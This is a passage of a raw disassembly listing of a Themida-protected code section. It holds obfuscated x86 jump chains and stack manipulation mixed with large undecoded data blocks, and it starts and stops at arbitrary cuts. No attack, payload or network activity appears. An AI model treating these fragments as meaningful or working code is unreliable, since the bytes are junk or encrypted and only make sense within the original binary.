		jmp	loc_54A030
; ---------------------------------------------------------------------------
		db 51h
		dd 402B050h, 58C588AAh,	0FFAD34E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ED25:				; CODE XREF: Themida_:00545840j
		mov	edx, 2
		sub	esi, edx
		jmp	loc_5475E1
; ---------------------------------------------------------------------------
aDh		db ',dh╠}',0
		align 4
		dd 0FFFAEBE9h, 4BA1B9FFh, 69E92BF0h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED47:				; CODE XREF: Themida_:00549A98j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5511B8
; ---------------------------------------------------------------------------

loc_54ED5D:				; CODE XREF: Themida_:00547804j
		mov	[esp], ecx
		pop	dword ptr [edi+20h]
		pop	ecx
		jmp	loc_54D2DA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 5BABB850h, 72353C55h, 0E94CAA14h, 3CEh, 0C158C629h
		dd 685706E6h, 124B746Bh, 0FFF6DCE9h, 7EDEBAFFh,	0D32153ADh
		dd 40F3815Ah, 0C16AED2Eh, 814B05EBh, 141CBFC3h,	0FBF38161h
		dd 817ED156h, 66042444h, 10BEA15h, 8104245Ch, 6604246Ch
		dd 0E90BEA15h, 0FFFFDA4Eh, 83242C8Bh, 0F58104C4h, 0CB19900Bh
		dd 8B5DE929h, 89572404h, 4C781E7h, 81000000h, 4C7h, 7FFBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EDEA:				; CODE XREF: Themida_:005489DAj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54520D
; ---------------------------------------------------------------------------
		dw 8966h
		dd 13E92404h, 81FFFF5Dh, 4C6h, 4B95100h, 1000000h, 240C8BCEh
		dd 0FFA422E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EE15:				; CODE XREF: Themida_:00550751j
		add	dword ptr [esp], 0FFFFFFFFh
		pop	ecx
		jmp	loc_5455F1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 68241C89h, 0EE3h, 0E9240489h, 0FFFFB45Fh, 0EBC0C3FEh
		dd 0E9C3FE07h, 0FFFFA3F0h
; ---------------------------------------------------------------------------

loc_54EE3C:				; CODE XREF: Themida_:005458C5j
		add	ebx, 4
		jmp	loc_54E5AD
; ---------------------------------------------------------------------------
		db 58h
		dd 800BE280h, 51668EC2h, 0CA3083B1h, 0CA805966h, 0BE55E9AFh
		dd 0BE56FFFFh, 1EAE0F05h, 0C681DEF7h, 1EAE0F09h, 875EF001h
		dd 248B2404h, 5D685124h, 89000042h, 0B5512404h,	59EC8813h
		dd 0FF8CE9E9h, 4C181FFh, 0E9000000h, 0FFFFC367h, 4EF81h
		dd 0FF570000h, 5F042474h, 5C24048Fh, 0BD242C89h, 2, 4767142Dh
		dd 7B2DE956h, 34FFFFFFh, 0C4815F24h, 4,	42Dh, 24043300h
		dd 33240431h, 248B2404h, 24148924h, 0F2E99C50h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EEDB:				; CODE XREF: Themida_:0055085Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54583F
; ---------------------------------------------------------------------------

loc_54EEE6:				; CODE XREF: Themida_:0054A0C9j
		push	esi
		push	esp
		pop	esi
		jmp	loc_54DBB7
; ---------------------------------------------------------------------------
		dw 0E831h
		dd 0FF2434FFh, 2C8B2434h, 4C48324h, 0E904C483h,	0FFFFD1A2h
		dd 0E9242C8Bh, 0FFFFDEC2h, 5C00E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EF12:				; CODE XREF: Themida_:00545E6Aj
		add	ecx, 4D87F144h
		mov	eax, ecx
		pop	ecx
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		mov	edi, [esp]
		push	0A91h
		mov	[esp], edx
		jmp	loc_54505C
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8324h, 0FF240489h, 58042474h, 0F724048Fh,	240487D0h
		dd 0E924048Bh, 0FFFFDE85h, 504DCF81h, 0EF813271h, 36EF0FDFh
		dd 0E902E7C1h, 0FFFFE350h
; ---------------------------------------------------------------------------

loc_54EF68:				; CODE XREF: Themida_:0054D972j
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 5Ch,	50h, 0E9h
		dd 0FFFF68D1h, 6CF5814Dh, 2967AA79h, 242C8BEFh,	0E9E18951h
		dd 3Eh,	24048F5Ah, 75EE685Ch, 94E90000h, 52FFFF74h, 0C281E289h
		dd 4, 0FFBDE8E9h, 0EFE95BFFh, 1FFFF84h,	334005F8h, 505F42A8h
		dd 42474FFh, 24048F58h,	2404095Ch, 5B4CE99Ch, 0C181FFFFh
		dd 4, 4C181h, 0C870000h, 3C875C24h, 0C895C24h, 44786824h
		dd 24890000h, 24048124h, 4, 4C18159h, 81000000h, 2C1h
		dd 74FF5100h, 8F590424h, 665C2404h, 5624048Bh, 0BA525E54h
		dd 4, 835AD601h, 5AE904EEh, 56FFFFC0h, 0FFC407E9h, 2454F6FFh
		dd 0F2E95B01h, 8BFFFFCAh, 0C0E92404h, 5AFFFFD8h, 0FFB9A5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F039:				; CODE XREF: Themida_:00547C7Fj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54D8E8
; ---------------------------------------------------------------------------
		dw 0E589h
aH@:
		unicode	0, <h@>
		dw 8900h
		dw 2434h
		dd 463FB850h, 0F7BE23CEh, 2995F0A2h, 0E1AEE9C6h, 1C8BFFFFh
		dd 4C48124h, 53000000h,	0FF7172E9h, 241487FFh, 0E1C6815Ch
		dd 17FD32Eh, 0E1EE81D6h, 0E97FD32Eh, 0FFFFA8C1h, 240C3358h
		dd 33240C31h, 248B240Ch, 24148924h, 2BAh, 5AD60100h, 31243433h
		dd 34332434h, 24248B24h, 240C8B66h, 6CEF68h, 242C8900h
		dd 0A468E589h, 89000058h, 0EF68240Ch, 59211833h, 2414F751h
		dd 0B181E959h, 6EB9FFFFh, 29193E32h, 5904244Ch,	0FF6620E9h
		dd 7F1BFFFh, 0CF815EAAh, 3AC8334Bh, 1FB8EF81h, 0CCE95FCAh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F0F3:				; CODE XREF: Themida_:0054882Cj
		pop	edi
		xor	edi, 49EB1057h
		jmp	loc_54B1E2
; ---------------------------------------------------------------------------

loc_54F0FF:				; CODE XREF: Themida_:0054AA79j
		mov	ebx, 1A2F6371h
		push	ebx
		pop	ebp
		pop	ebx
		or	ebx, ebp
		pop	ebp
		jmp	loc_54DCDA
; ---------------------------------------------------------------------------
		db 83h
		dd 0B15104C4h, 9E61E90Dh, 0CB68FFFFh, 0E900006Dh, 0FFFFA882h
		dd 0EA69472Dh, 0E173E97Eh, 0EC81FFFFh, 4, 52240C89h, 0DA6EC1BAh
		dd 6AB6B92Ah, 0D13134A7h, 0F6B3E95Ah, 0E0C1FFFFh, 34B50503h
		dd 41357470h, 2D69FD6Dh, 3E78950Ch, 0C158C689h,	76E902E6h
		dd 5FFFFF7Bh, 4108F781h, 48B2BB6h, 4C48324h, 34FFF921h
		dd 89575F24h, 4C781E7h,	83000000h, 7FE904ECh, 66FFFF8Eh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 6B7D0220h
		dec	edi
		jmp	loc_54C112
; ---------------------------------------------------------------------------
		dw 0C1BBh
		dd 8924AD11h, 0E5C15BDDh, 18C58104h, 1C4952Ch, 0EA815DEAh
		dd 320143A4h, 0C281C201h, 320143A4h, 4828EA81h,	0BF570F66h
		dd 5FB456AEh, 5E2ABB53h, 0DF095BAFh, 83241C8Bh,	0E78104C4h
		dd 4587317Dh, 0B51E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F1E5:				; CODE XREF: Themida_:00548074j
		add	esp, 2
		jmp	loc_54EC09
; ---------------------------------------------------------------------------
		dd 5763BA52h, 0EA811A43h, 3A405400h, 8703E2C1h,	0E9D1F7CAh
		dd 0FFFFBA56h, 4EC8153h, 89000000h, 0EBE92404h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F217:				; CODE XREF: Themida_:0054CEFBj
		dec	bh
		or	bh, 85h
		add	bh, 0FFh
		sub	al, bh
		pop	ebx
		jmp	loc_54CA97
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F7662424h, 539B68F9h, 42E90000h, 0BEFFFF74h, 4E8C3034h
		dd 0FFC0E4E9h, 0E9E100FFh, 0FFFFEA36h
; ---------------------------------------------------------------------------

loc_54F248:				; CODE XREF: Themida_:0054DBC2j
		add	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	esi
		jmp	loc_54B239
; ---------------------------------------------------------------------------

loc_54F25A:				; CODE XREF: Themida_:0054752Ej
		mov	edx, ecx
		pop	ecx
		jmp	loc_549080
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 6CDE9h, 0EA814200h, 0E6D39632h, 2D5AD029h, 5DAC4781h
		dd 2444315Ah, 0DE0EE904h, 0E959FFFFh, 0FFFFA631h, 4EAC142h
		dd 0FFA5B2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F291:				; CODE XREF: Themida_:00549096j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_550860
; ---------------------------------------------------------------------------
		dd 6FE9028Fh, 1FFFF58h,	5C69E9C1h, 0E689FFFFh, 4C681h
		dd 0C6810000h, 4, 0FFD979E9h, 0E95066FFh, 0FFFFDA98h, 1BDh
		dd 0E9E82900h, 1215h, 0FFFFC281h, 0BDE9FFFFh, 0B8FFFFDDh
		dd 796B3EEFh, 0FF7CDCE9h, 24048BFFh, 0FFF8F5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F2ED:				; CODE XREF: Themida_:0055036Bj
		and	ebx, 6BF036Ch
		add	ebx, 0F971FEBBh
		jmp	loc_549195
; ---------------------------------------------------------------------------

loc_54F2FE:				; CODE XREF: Themida_:0054FEBCj
		push	edi
		mov	edi, 2E59346Bh
		inc	edi
		or	edi, 25710737h
		jmp	loc_547045
; ---------------------------------------------------------------------------

loc_54F310:				; CODE XREF: Themida_:0054AD7Bj
		mov	edi, esp
		push	esi
		jmp	loc_54E87D
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0B5Dh, 0B1E9D889h, 11h, 665A66F0h, 4EC8153h
		dd 0E9000000h, 78Dh, 5C243487h,	0FFF21CE9h, 0E9525DFFh
		dd 0FFFF88E7h, 81E78957h, 4C7h,	4C78300h, 5C243C87h, 450D68h
		dd 0CEDEE900h, 34FFFFFFh, 0B8B7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F36A:				; CODE XREF: Themida_:00546FCEj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5470B2
; ---------------------------------------------------------------------------
		db 0B8h, 0C6h, 0EDh
		dd 0C5290878h, 0FF68F5E9h, 0A7E681FFh, 8149E226h, 550709C6h
		dd 5AC68113h, 291D3453h, 0BA525EF0h, 313A2464h,	1B94E281h
		dd 0F281040Dh, 17757FE4h, 0FF9DA2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F3B1:				; CODE XREF: Themida_:0054FAF0j
		pop	edx
		and	eax, ecx
		jmp	loc_546808
; ---------------------------------------------------------------------------
		db 53h,	51h, 0B9h
		dd 47723696h, 9E98141h,	0E9185652h, 0FFFFC453h,	4240483h
		dd 8124348Bh, 4ECh, 240C8900h, 0EC81E189h, 4, 0B8240489h
		dd 0C043B84h, 0D08E8C1h, 4A035BAh, 0AC35BF35h, 58C10104h
		dd 0FF7888E9h, 55E189FFh, 836B85BDh, 0E9DDF744h, 0FFFFC99Fh
		dd 0E62877B4h, 0FFE770E9h, 814149FFh, 0FB76F2C1h, 59CD010Fh
		dd 961E9h, 747BBD00h, 36E96C40h, 58FFFF67h, 8B241C87h
		dd 0FF662424h, 0E99C240Ch, 0FFFF56CEh, 0DAE9D029h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F44B:				; CODE XREF: Themida_:0054E2C9j
		shr	eax, 4
		shl	eax, 1
		xor	eax, 6D970F9Fh
		and	ecx, eax
		pop	eax
		shr	ecx, 4
		push	edi
		mov	edi, 5F8CA74Bh
		jmp	loc_5477F4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E9EA8824h, 0FFFF983Dh
; ---------------------------------------------------------------------------

loc_54F470:				; CODE XREF: Themida_:0054773Ej
		pop	esp
		shl	esi, 3
		shr	esi, 2
		sub	esi, 2444B96Ch
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	ebp, edx
		jmp	loc_54F6A1
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FF69EDE9h, 24148BFFh, 5204C483h, 117417BAh,	21E82D36h
		dd 0D001456Fh, 6F21E805h, 3AE95A45h, 54FFFF6Ch,	120FE9h
		dd 58EB8100h, 317FFCD8h, 1A9BE9D8h, 4B4B0000h, 8C3F381h
		dd 0D90151A3h, 240C875Bh, 0FF83FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F4E1:				; CODE XREF: Themida_:0054730Cj
		push	ecx
		mov	cl, 0E6h
		push	edx
		mov	dh, 0AAh
		sub	bl, 0B1h
		jmp	loc_547D49
; ---------------------------------------------------------------------------
		db 87h
		dd 29E92414h, 59000005h, 3C2540h, 0C2E9164Dh, 81FFFFCEh
		dd 5E6214F7h, 240C8B08h, 4C481h, 0F9010000h, 0E9243C8Bh
		dd 0FFFF7B8Eh
; ---------------------------------------------------------------------------

loc_54F51C:				; CODE XREF: Themida_:0055047Bj
		jmp	loc_5458B3
; ---------------------------------------------------------------------------

loc_54F521:				; CODE XREF: Themida_:00549E6Fj
		add	esp, 4
		push	7F94h
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 5D4104C6h
		jmp	loc_550853
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB8104C4h, 2, 8B241C87h, 6FE92424h,	5CFFFFE3h, 0FFCE5AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F559:				; CODE XREF: Themida_:00545D12j
		push	5F0011D4h
		pop	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		shl	ebx, 7
		xor	ebx, 1D6611AFh
		mov	edx, ebx
		pop	ebx
		inc	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2795B8F2h
		jmp	loc_54D674
; ---------------------------------------------------------------------------

loc_54F591:				; CODE XREF: Themida_:0054C8ADj
		push	small 0F4Fh
		jmp	loc_54C118
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 6C6F6247h, 69DC681h,	0D6F73E79h, 11E9DEF7h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54F5AF:				; CODE XREF: Themida_:0054ACF7j
		or	eax, 7AA308CDh
		sub	eax, 83CFB10Eh
		sub	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_548081
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 6Ah
		dd 0E96A0959h, 0FFFFC95Fh, 0E9242C89h, 0FFFFCC06h, 4C381h
		dd 1C870000h, 15E95C24h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F5EF:				; CODE XREF: Themida_:00546817j
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	684Dh
		jmp	loc_548776
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0DEF3E943h, 0EC81FFFFh, 4, 0BE243489h, 43C86372h, 41D3C681h
		dd 0D6F71A4Bh, 71F68146h, 8101F830h, 0EF6D46E6h, 0C6814E24h
		dd 2CB1ADC9h, 55EF029h,	70677D84h, 0FF7963E9h, 1CCBB8FFh
		dd 0E8C14C97h, 8E8C103h, 0DB77AE2Dh, 15040550h,	0C3099583h
		dd 0FFE1BDE9h, 0A404ACFFh, 8020B753h, 0F82896C7h, 66D8005Bh
		dd 0E9B6B652h, 0FFFFFCB3h, 2434FF54h, 5D54555Fh, 4C581h
		dd 0C5810000h, 4, 0FFB03CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F68D:				; CODE XREF: Themida_:00548D04j
		add	edi, ecx
		sub	edi, 76C93B61h
		pop	ecx
		sub	edi, 0BA37BEABh
		jmp	loc_54618E
; ---------------------------------------------------------------------------

loc_54F6A1:				; CODE XREF: Themida_:0054F490j
		pop	edx
		jmp	loc_549D53
; ---------------------------------------------------------------------------
		db 0F6h
		dd 9DF580DDh, 0E9B6B753h, 0FFFFBC8Dh
; ---------------------------------------------------------------------------

loc_54F6B4:				; CODE XREF: Themida_:0054E059j
		xchg	eax, [esp]
		jmp	loc_548185
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0C38104C4h, 3818311Dh, 0EB81C301h, 3818311Dh
		dd 7D27E958h, 0C381FFFFh, 4, 0FF55DFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F6E1:				; CODE XREF: Themida_:00549D4Ej
		xor	edi, 515D0922h
		add	eax, edi
		jmp	loc_54541C
; ---------------------------------------------------------------------------
		dw 5E58h
		dd 8158C589h, 0D12FEFC5h, 50DDF761h, 0E75CF4B8h, 3F993565h
		dd 3B2D0243h, 3509995Bh, 3611816Eh, 1304E9h, 8C96800h
		dd 1C890000h, 57E38924h, 0AA274BBFh, 28E95106h,	66FFFFE1h
		dd 0CFBE6656h, 0F531662Ch, 81665E66h, 66EB69C5h, 0E95DE829h
		dd 0FFFF7F76h
; ---------------------------------------------------------------------------

loc_54F744:				; CODE XREF: Themida_:00548FC0j
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_549E6C
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 35124002h, 0F9F7EE81h, 0F3895D13h, 0FFD17DE9h, 0EF815DFFh
		dd 78E3C215h, 0AEFE9h, 5DEF0100h, 4EF81h, 3C870000h, 0D1C3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_5487AA
; ---------------------------------------------------------------------------
		db 0B3h, 6Ch, 0FEh
		dd 0F6C380CBh, 0C003E3C0h, 0EB8004E3h, 0EAC380A1h, 805BDE88h
		dd 0E6C0FFC6h, 0F6CE8604h, 80CE86D1h, 0F02818C6h, 4E8005Ah
		dd 2434FF97h, 4C48359h,	0FF8A85E9h, 3DC680FFh, 0EE80DEF6h
		dd 66F70046h, 80EF285Ah, 8B6658EFh, 8E9240Ch, 5BFFFFCDh
		dd 753AE956h, 77BFFFFFh, 310BEE68h, 0B8505FFEh,	25B363ECh
		dd 0C102E0C1h, 0FB0502E0h, 2D20B230h, 5C23E61Ch, 0FFD38DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F809:				; CODE XREF: Themida_:0054C34Ej
		xor	ebx, ebp
		pop	ebp
		jmp	loc_5507C6
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BE560000h, 2, 0E95EF001h, 0FFFFCB96h, 486934BBh, 0DBF74B1Ah
		dd 0D102EBC1h, 92F381EBh, 0E9253E1Dh, 0FFFFE11Ah, 0F80B850h
		dd 82BB0840h, 2908400Fh, 90E958C3h, 51FFFFA4h, 4B9h, 0AFFBE900h
		dd 0C89FFFFh, 81E18924h, 4C1h, 4C18300h, 0E9240C87h, 0FFFF8EA0h
; ---------------------------------------------------------------------------

loc_54F870:				; CODE XREF: Themida_:00546A36j
		shl	edx, 1
		push	ebx
		push	6DCF495Dh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54738F
; ---------------------------------------------------------------------------
		db 52h
		dd 0E44C47BAh, 5AD50923h, 32EDED81h, 432D4AE3h,	0E9684514h
		dd 0FFFF7834h, 68h, 24042800h, 8324048Ah, 0D9E904C4h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8AF:				; CODE XREF: Themida_:00546990j
		add	esi, 4
		add	esi, 4
		jmp	loc_54D1D2
; ---------------------------------------------------------------------------
		dd 4C681h, 89560000h, 4C681E6h,	51000000h, 4B9h, 59CE2900h
		dd 0FFBF50E9h, 8BD701FFh, 0C4812414h, 4, 0FFD837E9h, 245401FFh
		dd 68555004h, 230D264Ch, 1154E9h, 0E2895200h, 0FF8340E9h
		dd 8BFB01FFh, 8956243Ch, 4C681E6h, 81000000h, 4C6h, 8D30E900h
		dd 5A66FFFFh, 0FFB01FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F925:				; CODE XREF: Themida_:00544E73j
		add	esi, ebp
		pop	ebp
		jmp	loc_547634
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 5D4AE924h, 0DA2DFFFFh, 5D4E324Bh, 2474FF50h,	0ACE95804h
		dd 80000011h, 0D5209EC2h, 5A2434FFh, 5204C483h,	0F28088B2h
		dd 0E4E28093h, 6804EAC0h, 4FDEh, 0B1240C89h, 8E1C036h
		dd 0C1FEC1FEh, 0E91DC180h, 0FFFF7CA8h, 0E9240C89h, 0FFFF89E5h
		dd 470C0FB9h, 0E1D1417Bh, 8103E9C1h, 2E3D00C1h,	4AC581E1h
		dd 8162480Dh, 9008E8EDh, 0E9CD017Eh, 0FFFFD7CEh, 0FF2434FFh
		dd 0C3E92434h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F9AF:				; CODE XREF: Themida_:00550A75j
		sub	edi, 5266237h
		not	edi
		add	edi, 8E4F5E9Eh
		sub	ebp, edi
		pop	edi
		add	ebp, edx
		jmp	loc_54C0F1
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 24148924h, 1BAh, 5AD02100h, 0FFC038E9h, 1C5F21FFh
		dd 8B2434FFh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54ACD8
; ---------------------------------------------------------------------------

loc_54F9EE:				; CODE XREF: Themida_:00547DDCj
		pop	esp
		mov	[esp], ax
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		dd 8324348Bh, 685504C4h, 48F74773h, 0EE45E95Dh,	489FFFFh
		dd 0BD0E924h, 0D8010000h, 0FFD4CAE9h, 0E9505CFFh, 0FFFF8C0Eh
		dd 7A81E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FA26:				; CODE XREF: Themida_:0054A663j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 8B66C361h, 0EC812404h, 4, 54243C89h,	4C7815Fh, 53000000h
		dd 0FF5208E9h, 0E9FB01FFh, 0FFFF6674h, 0ED81D5F7h, 277F1705h
		dd 0FFB90FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FA5D:				; CODE XREF: Themida_:00545F3Dj
		mov	esp, [esp]
		jmp	loc_54D750
; ---------------------------------------------------------------------------

loc_54FA65:				; CODE XREF: Themida_:005511BFj
		xor	ecx, 2ED81FBCh
		and	ecx, 31604F5Eh
		add	ecx, 36D3C04h
		jmp	loc_5457C9
; ---------------------------------------------------------------------------
		dd 0AA1F73BEh, 66CCBB0Eh, 0EB8131E7h, 48147C09h, 0C381F329h
		dd 48147C09h, 8BC3315Eh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	eax, ebx
		jmp	loc_545CFF
; ---------------------------------------------------------------------------

loc_54FABA:				; CODE XREF: Themida_:0054BA10j
		push	esi
		mov	esi, 765D05D3h
		jmp	loc_54A4FF
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0F60E951h, 66560000h, 660A5DBEh, 82E9DEF7h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FADB:				; CODE XREF: Themida_:0054EBA8j
		pop	eax
		sub	edx, 0CE82F330h
		add	ecx, 55854594h
		add	ecx, edx
		sub	ecx, 55854594h
		jmp	loc_54F3B1
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0EC83240Ch, 24148904h, 72046851h,	0C8B110Eh
		dd 4C48324h, 13BCE9h, 0D2F58100h, 4522D413h, 80D7ED81h
		dd 0E8014CA2h, 0E9C1895Dh, 0FFFFCD0Eh
; ---------------------------------------------------------------------------

loc_54FB2C:				; CODE XREF: Themida_:005498D5j
		push	ebx
		mov	ebx, 40712EBDh
		jmp	loc_550368
; ---------------------------------------------------------------------------
		db 4
aF4		db 'f4|,н',0
		dw 0E9C2h
		dd 0FFFF589Ch, 4C481h, 74310000h, 348B0424h, 7417E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB56:				; CODE XREF: Themida_:00546789j
		or	esi, 1B7523Fh
		inc	esi
		jmp	loc_548F3F
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 0E9240C89h, 0FFFF6DCBh, 3D67F1B8h, 55A8E968h
		dd 815AFFFFh, 0A4C640EBh, 0E95E5318h, 0FFFFB86Dh, 2424895Ch
		dd 4240483h, 56242C8Bh,	0C681E689h, 4, 0FF5DE5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FBA1:				; CODE XREF: Themida_:0054B0B5j
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	ecx
		push	edx
		mov	edx, 36A13683h
		xor	edx, 4A217F4Ah
		and	edx, 1F1A0698h
		sub	edx, 0D636B80Eh
		mov	ecx, edx
		jmp	loc_550940
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 68h
		dd 88FFFF79h, 0EB8058E5h, 80EB0003h, 47E903C3h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FBDB:				; CODE XREF: Themida_:00549EA4j
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_54CCBB
; ---------------------------------------------------------------------------
		dd 0BD665566h, 2D6663B1h, 12E9133Ah, 0AD000007h, 207F83h
		dd 0A7ED840Fh, 0F068FFFFh, 0E900001Fh, 0FFFF9272h, 0D5C38143h
		dd 0E910644Dh, 0FFFF783Fh, 4EC81h, 1C890000h, 0B8E95024h
		dd 68FFFFF6h, 33400FE7h, 0FFBCA4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FC2D:				; CODE XREF: Themida_:0054DFECj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_544B12
; ---------------------------------------------------------------------------

loc_54FC3B:				; CODE XREF: Themida_:0054D7CCj
		mov	esi, 5E515360h
		jmp	loc_548599
; ---------------------------------------------------------------------------
		db 68h,	0CEh, 69h
		dd 4FE90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FC4F:				; CODE XREF: Themida_:0054ADB5j
		add	esp, 4
		pop	esi
		push	63B1h
		jmp	loc_54C24C
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0E904C483h, 0FFFF4EA6h, 240C8B66h, 622D68h
		dd 242C8900h, 0CAE9E589h, 5BFFFFEFh, 582434FFh,	0E904C483h
		dd 0FFFFC680h, 0BF665766h, 89667913h, 665F66FAh, 0E973F62Dh
		dd 0FFFFBD8Eh, 5538E281h, 0F2815B68h, 29ED5D8Bh, 8103EAC1h
		dd 0A35E4DC2h, 95C381FBh, 0E93A855Fh, 0FFFFE3D6h, 0FFFFEE81h
		dd 0CBE9FFFFh, 58FFFF8Dh, 515FF989h, 0FF5BF5E9h, 2B850FFh
		dd 1000000h, 24048BC2h,	4C481h,	14330000h, 24143124h, 8B241433h
		dd 0F7662424h, 235E68E1h, 1C890000h, 34FF5424h,	0B871E924h
		dd 14BDFFFFh, 31DEE7CCh, 0CD015DE9h, 0FF722FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FD15:				; CODE XREF: Themida_:0054A17Cj
		mov	edi, esp
		add	edi, 4
		jmp	loc_54948E
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 4D82859h, 17B1510Ah,	6659C828h, 0B78FE95Bh, 0F781FFFFh
		dd 28B34EB2h, 0E95FFA29h, 0FFFF5BF8h, 0C2244CB8h, 5340E90Bh
		dd 5356FFFFh, 2E151D68h, 0C3C7E93Dh, 5257FFFFh,	0F635C0BAh
		dd 5A5F522Eh, 0E0F7814Fh, 0E9381461h, 0FFFF7D22h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54C7ED
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0D002E900h,	0C583FFFFh, 7A7FE904h
		dd 0C283FFFFh, 24148702h, 242CD25Ch, 4D70E99Ch,	0C87FFFFh
		dd 0D94FE924h, 0B559FFFFh, 785DE9F6h, 0E950FFFFh, 0FFFF7BECh
; ---------------------------------------------------------------------------

loc_54FDB8:				; CODE XREF: Themida_:0054C922j
		dec	dl
		shl	dl, 4
		xor	dl, 13h
		or	bh, dl
		pop	edx
		push	eax
		mov	al, 38h
		neg	al
		jmp	loc_547DF4
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 0E9h
		dd 0B8Dh
; ---------------------------------------------------------------------------

loc_54FDD4:				; CODE XREF: Themida_:00544F5Dj
